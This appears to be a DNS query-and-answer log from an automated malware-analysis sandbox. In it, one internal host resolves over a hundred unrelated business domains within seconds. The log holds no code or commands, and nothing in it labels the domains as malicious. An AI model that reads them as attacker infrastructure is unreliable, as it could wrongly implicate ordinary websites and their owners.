May 31, 2023 14:52:33.832150936 CEST	192.168.2.3	8.8.8.8	0x97f2	Standard query (0)	sjbmw.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:33.922700882 CEST	192.168.2.3	8.8.8.8	0xbae6	Standard query (0)	awfraser.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:34.028325081 CEST	192.168.2.3	8.8.8.8	0xc35	Standard query (0)	hbfuels.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:34.212357998 CEST	192.168.2.3	8.8.8.8	0xda2e	Standard query (0)	atis-sk.ca	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:34.866410017 CEST	192.168.2.3	8.8.8.8	0x7794	Standard query (0)	pccj.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:34.866410017 CEST	192.168.2.3	8.8.8.8	0x9c82	Standard query (0)	mijash3.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:34.867530107 CEST	192.168.2.3	8.8.8.8	0xc420	Standard query (0)	gydrozo.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:34.869512081 CEST	192.168.2.3	8.8.8.8	0x3931	Standard query (0)	atis-sk.ca	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:34.892218113 CEST	192.168.2.3	8.8.8.8	0x3909	Standard query (0)	cqdgroup.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:34.911257029 CEST	192.168.2.3	8.8.8.8	0x8c6	Standard query (0)	riwn.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 31, 2023 14:49:56.281177044 CEST	8.8.8.8	192.168.2.3	0x4c08	No error (0)	www.olras.com		80.93.82.33	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.293018103 CEST	8.8.8.8	192.168.2.3	0xca6f	Name error (3)	www.wkhk.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.294840097 CEST	8.8.8.8	192.168.2.3	0xa3e3	No error (0)	www.jenco.co.uk		104.21.23.9	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.294840097 CEST	8.8.8.8	192.168.2.3	0xa3e3	No error (0)	www.jenco.co.uk		172.67.208.67	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.295651913 CEST	8.8.8.8	192.168.2.3	0xb590	No error (0)	www.fnw.us	fnw.us		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:49:56.295651913 CEST	8.8.8.8	192.168.2.3	0xb590	No error (0)	fnw.us		137.118.26.67	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.295825005 CEST	8.8.8.8	192.168.2.3	0xa2cf	No error (0)	www.quadlock.com	quadlock.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:49:56.295825005 CEST	8.8.8.8	192.168.2.3	0xa2cf	No error (0)	quadlock.com		70.39.251.249	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.296511889 CEST	8.8.8.8	192.168.2.3	0x6e91	No error (0)	www.pdqhomes.com	traff-4.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:49:56.296511889 CEST	8.8.8.8	192.168.2.3	0x6e91	No error (0)	traff-4.hugedomains.com	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:49:56.296511889 CEST	8.8.8.8	192.168.2.3	0x6e91	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		3.94.41.167	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.296511889 CEST	8.8.8.8	192.168.2.3	0x6e91	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		52.86.6.113	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.301568031 CEST	8.8.8.8	192.168.2.3	0x52f1	No error (0)	www.dgmna.com	dgmna.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:49:56.301568031 CEST	8.8.8.8	192.168.2.3	0x52f1	No error (0)	dgmna.com		192.124.249.20	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.331312895 CEST	8.8.8.8	192.168.2.3	0x63fd	Server failure (2)	www.ftchat.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.520139933 CEST	8.8.8.8	192.168.2.3	0xf966	No error (0)	www.pr-park.com		118.27.125.181	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.548723936 CEST	8.8.8.8	192.168.2.3	0xe241	No error (0)	www.baijaku.com	baijaku.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:49:56.548723936 CEST	8.8.8.8	192.168.2.3	0xe241	No error (0)	baijaku.com		59.106.19.204	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.597476006 CEST	8.8.8.8	192.168.2.3	0x2633	No error (0)	www.rs-ag.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.597476006 CEST	8.8.8.8	192.168.2.3	0x2633	No error (0)	www.rs-ag.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.745102882 CEST	8.8.8.8	192.168.2.3	0x46ba	No error (0)	www.alteor.cl	gcdn0.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:49:56.745102882 CEST	8.8.8.8	192.168.2.3	0x46ba	No error (0)	gcdn0.wixdns.net	td-ccm-168-233.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:49:56.745102882 CEST	8.8.8.8	192.168.2.3	0x46ba	No error (0)	td-ccm-168-233.wixdns.net		34.117.168.233	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.780428886 CEST	8.8.8.8	192.168.2.3	0x9e9e	No error (0)	www.valdal.com		172.67.73.176	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.780428886 CEST	8.8.8.8	192.168.2.3	0x9e9e	No error (0)	www.valdal.com		104.26.7.221	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.780428886 CEST	8.8.8.8	192.168.2.3	0x9e9e	No error (0)	www.valdal.com		104.26.6.221	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.791806936 CEST	8.8.8.8	192.168.2.3	0x25b	No error (0)	www.item-pr.com	item-pr.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:49:56.791806936 CEST	8.8.8.8	192.168.2.3	0x25b	No error (0)	item-pr.com		185.15.129.58	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.791806936 CEST	8.8.8.8	192.168.2.3	0x25b	No error (0)	item-pr.com		213.186.33.17	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.983685017 CEST	8.8.8.8	192.168.2.3	0x1d60	No error (0)	www.credo.edu.pl		62.122.190.121	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.984788895 CEST	8.8.8.8	192.168.2.3	0x669b	No error (0)	www.depalo.com	ghs.googlehosted.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:49:56.984788895 CEST	8.8.8.8	192.168.2.3	0x669b	No error (0)	ghs.googlehosted.com		216.58.215.243	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.992870092 CEST	8.8.8.8	192.168.2.3	0x6318	No error (0)	www.elpro.si		104.26.15.53	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.992870092 CEST	8.8.8.8	192.168.2.3	0x6318	No error (0)	www.elpro.si		104.26.14.53	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:56.992870092 CEST	8.8.8.8	192.168.2.3	0x6318	No error (0)	www.elpro.si		172.67.70.22	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:57.005492926 CEST	8.8.8.8	192.168.2.3	0xf2a	No error (0)	www.vazir.se		206.191.152.37	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:57.151005983 CEST	8.8.8.8	192.168.2.3	0xfd52	No error (0)	www.mqs.com.br	www.mqs.com.br.cdn.gocache.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:49:57.151005983 CEST	8.8.8.8	192.168.2.3	0xfd52	No error (0)	www.mqs.com.br.cdn.gocache.net		170.82.174.30	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:57.151005983 CEST	8.8.8.8	192.168.2.3	0xfd52	No error (0)	www.mqs.com.br.cdn.gocache.net		170.82.173.30	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:57.395719051 CEST	8.8.8.8	192.168.2.3	0xdb8d	No error (0)	www.transsib.com	www.studyrussian.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:49:57.395719051 CEST	8.8.8.8	192.168.2.3	0xdb8d	No error (0)	www.studyrussian.com	studyrussian.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:49:57.395719051 CEST	8.8.8.8	192.168.2.3	0xdb8d	No error (0)	studyrussian.com		80.74.154.6	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:57.400094032 CEST	8.8.8.8	192.168.2.3	0x3060	No error (0)	www.otena.com		3.64.163.50	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:57.423777103 CEST	8.8.8.8	192.168.2.3	0x5bd2	No error (0)	www.iamdirt.com	gcdn0.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:49:57.423777103 CEST	8.8.8.8	192.168.2.3	0x5bd2	No error (0)	gcdn0.wixdns.net	td-ccm-168-233.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:49:57.423777103 CEST	8.8.8.8	192.168.2.3	0x5bd2	No error (0)	td-ccm-168-233.wixdns.net		34.117.168.233	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:57.444055080 CEST	8.8.8.8	192.168.2.3	0xef83	No error (0)	www.petsfan.com	traff-5.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:49:57.444055080 CEST	8.8.8.8	192.168.2.3	0xef83	No error (0)	traff-5.hugedomains.com	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:49:57.444055080 CEST	8.8.8.8	192.168.2.3	0xef83	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		54.161.222.85	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:57.444055080 CEST	8.8.8.8	192.168.2.3	0xef83	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		34.205.242.146	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:57.923799038 CEST	8.8.8.8	192.168.2.3	0x906e	Name error (3)	www.owsports.ca	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:57.937923908 CEST	8.8.8.8	192.168.2.3	0xfbaf	No error (0)	www.tvtools.fi		104.21.88.198	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:57.937923908 CEST	8.8.8.8	192.168.2.3	0xfbaf	No error (0)	www.tvtools.fi		172.67.152.159	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:57.938780069 CEST	8.8.8.8	192.168.2.3	0x70ec	No error (0)	www.evcpa.com	evcpa.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:49:57.938780069 CEST	8.8.8.8	192.168.2.3	0x70ec	No error (0)	evcpa.com		192.124.249.10	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:57.968399048 CEST	8.8.8.8	192.168.2.3	0x6c18	No error (0)	www.wifi4all.nl		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:57.968399048 CEST	8.8.8.8	192.168.2.3	0x6c18	No error (0)	www.wifi4all.nl		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:57.968437910 CEST	8.8.8.8	192.168.2.3	0x76da	No error (0)	www.t-tre.com		135.181.73.98	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:58.025573969 CEST	8.8.8.8	192.168.2.3	0xa76	No error (0)	www.abart.pl	abart.pl		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:49:58.025573969 CEST	8.8.8.8	192.168.2.3	0xa76	No error (0)	abart.pl		89.161.163.246	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:58.187455893 CEST	8.8.8.8	192.168.2.3	0x44d3	No error (0)	www.naoi-a.com		202.254.236.40	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:58.658216000 CEST	8.8.8.8	192.168.2.3	0x3235	No error (0)	www.fcwcvt.org		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:58.658216000 CEST	8.8.8.8	192.168.2.3	0x3235	No error (0)	www.fcwcvt.org		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:58.818646908 CEST	8.8.8.8	192.168.2.3	0x6b45	No error (0)	www.xaicom.es	xaicom.es		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:49:58.818646908 CEST	8.8.8.8	192.168.2.3	0x6b45	No error (0)	xaicom.es		188.165.133.163	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:58.831671000 CEST	8.8.8.8	192.168.2.3	0xe2dd	No error (0)	www.cokocoko.com	traff-1.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:49:58.831671000 CEST	8.8.8.8	192.168.2.3	0xe2dd	No error (0)	traff-1.hugedomains.com	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:49:58.831671000 CEST	8.8.8.8	192.168.2.3	0xe2dd	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		52.71.57.184	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:58.831671000 CEST	8.8.8.8	192.168.2.3	0xe2dd	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		54.209.32.212	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:58.834443092 CEST	8.8.8.8	192.168.2.3	0x2d13	No error (0)	www.abdg.com		192.252.154.18	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:58.872818947 CEST	8.8.8.8	192.168.2.3	0xc257	No error (0)	www.hummer.hu	hummer.hu		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:49:58.872818947 CEST	8.8.8.8	192.168.2.3	0xc257	No error (0)	hummer.hu		185.80.51.179	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:58.894561052 CEST	8.8.8.8	192.168.2.3	0x5189	No error (0)	www.nelipak.nl		82.201.61.230	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:59.069555998 CEST	8.8.8.8	192.168.2.3	0xdaa5	No error (0)	www.ora.ecnet.jp	ora.ecnet.jp		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:49:59.069555998 CEST	8.8.8.8	192.168.2.3	0xdaa5	No error (0)	ora.ecnet.jp		60.43.154.138	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:59.128127098 CEST	8.8.8.8	192.168.2.3	0x67da	No error (0)	www.aevga.com	aevga.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:49:59.128127098 CEST	8.8.8.8	192.168.2.3	0x67da	No error (0)	aevga.com		108.167.164.216	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:59.374914885 CEST	8.8.8.8	192.168.2.3	0x7631	No error (0)	www.waldi.pl	waldi.pl		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:49:59.374914885 CEST	8.8.8.8	192.168.2.3	0x7631	No error (0)	waldi.pl		46.242.238.60	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:59.375150919 CEST	8.8.8.8	192.168.2.3	0xfe54	No error (0)	www.synetik.net	synetik.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:49:59.375150919 CEST	8.8.8.8	192.168.2.3	0xfe54	No error (0)	synetik.net		193.166.255.171	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:59.377814054 CEST	8.8.8.8	192.168.2.3	0x7015	No error (0)	www.edimart.hu		81.2.194.241	A (IP address)	IN (0x0001)	false
May 31, 2023 14:49:59.999546051 CEST	8.8.8.8	192.168.2.3	0xcae9	No error (0)	www.yocinc.org		66.94.119.160	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:00.003405094 CEST	8.8.8.8	192.168.2.3	0xa5cb	No error (0)	www.snugpak.com		172.67.165.62	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:00.003405094 CEST	8.8.8.8	192.168.2.3	0xa5cb	No error (0)	www.snugpak.com		104.21.73.182	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:00.012856960 CEST	8.8.8.8	192.168.2.3	0xee4	No error (0)	www.speelhal.net		217.19.237.54	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:00.064699888 CEST	8.8.8.8	192.168.2.3	0xb	No error (0)	www.pcgrate.com		104.21.66.46	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:00.064699888 CEST	8.8.8.8	192.168.2.3	0xb	No error (0)	www.pcgrate.com		172.67.201.26	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:00.066776037 CEST	8.8.8.8	192.168.2.3	0x9da5	No error (0)	www.stnic.co.uk		77.68.50.105	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:00.275382996 CEST	8.8.8.8	192.168.2.3	0x3d44	No error (0)	www.photo4b.com		195.78.66.50	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:00.284738064 CEST	8.8.8.8	192.168.2.3	0x4635	No error (0)	www.findbc.com		13.248.169.48	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:00.284738064 CEST	8.8.8.8	192.168.2.3	0x4635	No error (0)	www.findbc.com		76.223.54.146	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:00.678426027 CEST	8.8.8.8	192.168.2.3	0xaa14	No error (0)	www.gpthink.com		39.99.233.155	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:00.731601000 CEST	8.8.8.8	192.168.2.3	0x1c56	No error (0)	www.crcsi.org	crcsi.org		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:00.731601000 CEST	8.8.8.8	192.168.2.3	0x1c56	No error (0)	crcsi.org		165.227.252.190	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:00.733088970 CEST	8.8.8.8	192.168.2.3	0x6082	No error (0)	www.c9dd.com		188.166.152.188	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:00.874773979 CEST	8.8.8.8	192.168.2.3	0xce06	No error (0)	www.mobilnic.net		154.203.14.100	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:00.950393915 CEST	8.8.8.8	192.168.2.3	0x739d	No error (0)	www.domon.com	meubles-domon.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:00.950393915 CEST	8.8.8.8	192.168.2.3	0x739d	No error (0)	meubles-domon.myshopify.com	shops.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:00.950393915 CEST	8.8.8.8	192.168.2.3	0x739d	No error (0)	shops.myshopify.com		23.227.38.74	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:00.988404989 CEST	8.8.8.8	192.168.2.3	0x107a	No error (0)	www.vitaindu.com		122.128.109.107	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:01.009890079 CEST	8.8.8.8	192.168.2.3	0xb53c	Name error (3)	www.udesign.biz	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:01.610275030 CEST	8.8.8.8	192.168.2.3	0xeb88	No error (0)	www.pwd.org	pwd.org		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:01.610275030 CEST	8.8.8.8	192.168.2.3	0xeb88	No error (0)	pwd.org		208.109.214.162	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:01.613003016 CEST	8.8.8.8	192.168.2.3	0x3703	No error (0)	www.ora-ito.com		213.186.33.40	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:01.613070011 CEST	8.8.8.8	192.168.2.3	0x4c93	No error (0)	www.jacomfg.com		96.127.180.42	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:01.625210047 CEST	8.8.8.8	192.168.2.3	0x871d	No error (0)	www.fink.com		69.163.218.51	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:02.036536932 CEST	8.8.8.8	192.168.2.3	0xb560	No error (0)	www.valselit.com		193.70.68.254	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:02.043039083 CEST	8.8.8.8	192.168.2.3	0x3ebc	No error (0)	www.holleman.us		51.79.51.72	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:02.721942902 CEST	8.8.8.8	192.168.2.3	0x324c	No error (0)	www.pupi.cz		103.224.182.241	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:02.743060112 CEST	8.8.8.8	192.168.2.3	0x5999	No error (0)	www.jchysk.com		208.97.178.138	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:03.008366108 CEST	8.8.8.8	192.168.2.3	0xb53c	Name error (3)	www.udesign.biz	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:03.029170990 CEST	8.8.8.8	192.168.2.3	0x3ebc	No error (0)	www.holleman.us		51.79.51.72	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:03.100735903 CEST	8.8.8.8	192.168.2.3	0xc347	No error (0)	www.netcr.com	traff-3.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:03.100735903 CEST	8.8.8.8	192.168.2.3	0xc347	No error (0)	traff-3.hugedomains.com	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:03.100735903 CEST	8.8.8.8	192.168.2.3	0xc347	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.18.7.81	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:03.100735903 CEST	8.8.8.8	192.168.2.3	0xc347	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.19.116.195	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:03.106237888 CEST	8.8.8.8	192.168.2.3	0xc6ae	No error (0)	www.2print.com	2print.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:03.106237888 CEST	8.8.8.8	192.168.2.3	0xc6ae	No error (0)	2print.com		107.180.98.101	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:04.221621037 CEST	8.8.8.8	192.168.2.3	0xf906	No error (0)	www.nqks.com	live.websites.hibu.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:04.221621037 CEST	8.8.8.8	192.168.2.3	0xf906	No error (0)	live.websites.hibu.com	hibu-4.zenedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:04.221621037 CEST	8.8.8.8	192.168.2.3	0xf906	No error (0)	hibu-4.zenedge.net	zemonitor-websites-hibu-com.c.inregion.waas.oci.oraclecloud.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:04.221621037 CEST	8.8.8.8	192.168.2.3	0xf906	No error (0)	zemonitor-websites-hibu-com.c.inregion.waas.oci.oraclecloud.net	hibu34.inregion.waas.oci.oraclecloud.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:04.221621037 CEST	8.8.8.8	192.168.2.3	0xf906	No error (0)	hibu34.inregion.waas.oci.oraclecloud.net		147.154.3.56	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:04.417860031 CEST	8.8.8.8	192.168.2.3	0x1bf3	No error (0)	www.x0c.com		185.53.177.50	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:04.554794073 CEST	8.8.8.8	192.168.2.3	0x336f	No error (0)	www.dayvo.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:04.554794073 CEST	8.8.8.8	192.168.2.3	0x336f	No error (0)	www.dayvo.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:04.574924946 CEST	8.8.8.8	192.168.2.3	0x9da6	No error (0)	www.myropcb.com		74.208.236.101	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:04.875725985 CEST	8.8.8.8	192.168.2.3	0xd2b2	No error (0)	www.stajum.com		162.43.120.128	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:04.893151045 CEST	8.8.8.8	192.168.2.3	0xedd8	Name error (3)	www.yumgiskor.kz	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:04.920212984 CEST	8.8.8.8	192.168.2.3	0x271d	No error (0)	www.lrsuk.com	language-recruitment.eu-2.volcanic.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:04.920212984 CEST	8.8.8.8	192.168.2.3	0x271d	No error (0)	language-recruitment.eu-2.volcanic.cloud	d2kt7vovxa5e81.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:04.920212984 CEST	8.8.8.8	192.168.2.3	0x271d	No error (0)	d2kt7vovxa5e81.cloudfront.net		18.66.192.94	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:04.920212984 CEST	8.8.8.8	192.168.2.3	0x271d	No error (0)	d2kt7vovxa5e81.cloudfront.net		18.66.192.25	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:04.920212984 CEST	8.8.8.8	192.168.2.3	0x271d	No error (0)	d2kt7vovxa5e81.cloudfront.net		18.66.192.23	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:04.920212984 CEST	8.8.8.8	192.168.2.3	0x271d	No error (0)	d2kt7vovxa5e81.cloudfront.net		18.66.192.87	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:05.269314051 CEST	8.8.8.8	192.168.2.3	0xc725	No error (0)	www.usadig.com		198.100.146.220	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:06.154225111 CEST	8.8.8.8	192.168.2.3	0x2fd1	No error (0)	www.yoruksut.com		93.187.206.66	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:06.494112968 CEST	8.8.8.8	192.168.2.3	0xe522	No error (0)	www.wnsavoy.com		96.91.204.114	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:06.516223907 CEST	8.8.8.8	192.168.2.3	0x3ebc	No error (0)	www.holleman.us		51.79.51.72	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:14.478899002 CEST	8.8.8.8	192.168.2.3	0xff9d	No error (0)	www.fnw.us	fnw.us		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:14.478899002 CEST	8.8.8.8	192.168.2.3	0xff9d	No error (0)	fnw.us		137.118.26.67	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:14.480890036 CEST	8.8.8.8	192.168.2.3	0x5552	No error (0)	www.baijaku.com	baijaku.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:14.480890036 CEST	8.8.8.8	192.168.2.3	0x5552	No error (0)	baijaku.com		59.106.19.204	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:14.494870901 CEST	8.8.8.8	192.168.2.3	0x364	Name error (3)	www.wkhk.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:14.495915890 CEST	8.8.8.8	192.168.2.3	0x1291	No error (0)	www.pdqhomes.com	traff-4.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:14.495915890 CEST	8.8.8.8	192.168.2.3	0x1291	No error (0)	traff-4.hugedomains.com	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:14.495915890 CEST	8.8.8.8	192.168.2.3	0x1291	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		3.94.41.167	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:14.495915890 CEST	8.8.8.8	192.168.2.3	0x1291	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		52.86.6.113	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:14.496762991 CEST	8.8.8.8	192.168.2.3	0xf730	No error (0)	www.pr-park.com		118.27.125.181	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:14.506844997 CEST	8.8.8.8	192.168.2.3	0x5180	No error (0)	www.olras.com		80.93.82.33	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:14.507643938 CEST	8.8.8.8	192.168.2.3	0xcef2	No error (0)	www.jenco.co.uk		104.21.23.9	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:14.507643938 CEST	8.8.8.8	192.168.2.3	0xcef2	No error (0)	www.jenco.co.uk		172.67.208.67	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:14.528307915 CEST	8.8.8.8	192.168.2.3	0x7183	No error (0)	www.quadlock.com	quadlock.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:14.528307915 CEST	8.8.8.8	192.168.2.3	0x7183	No error (0)	quadlock.com		70.39.251.249	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:14.545631886 CEST	8.8.8.8	192.168.2.3	0xef2d	Server failure (2)	www.ftchat.com	none	none	A (IP address)	IN (0x0001)	false
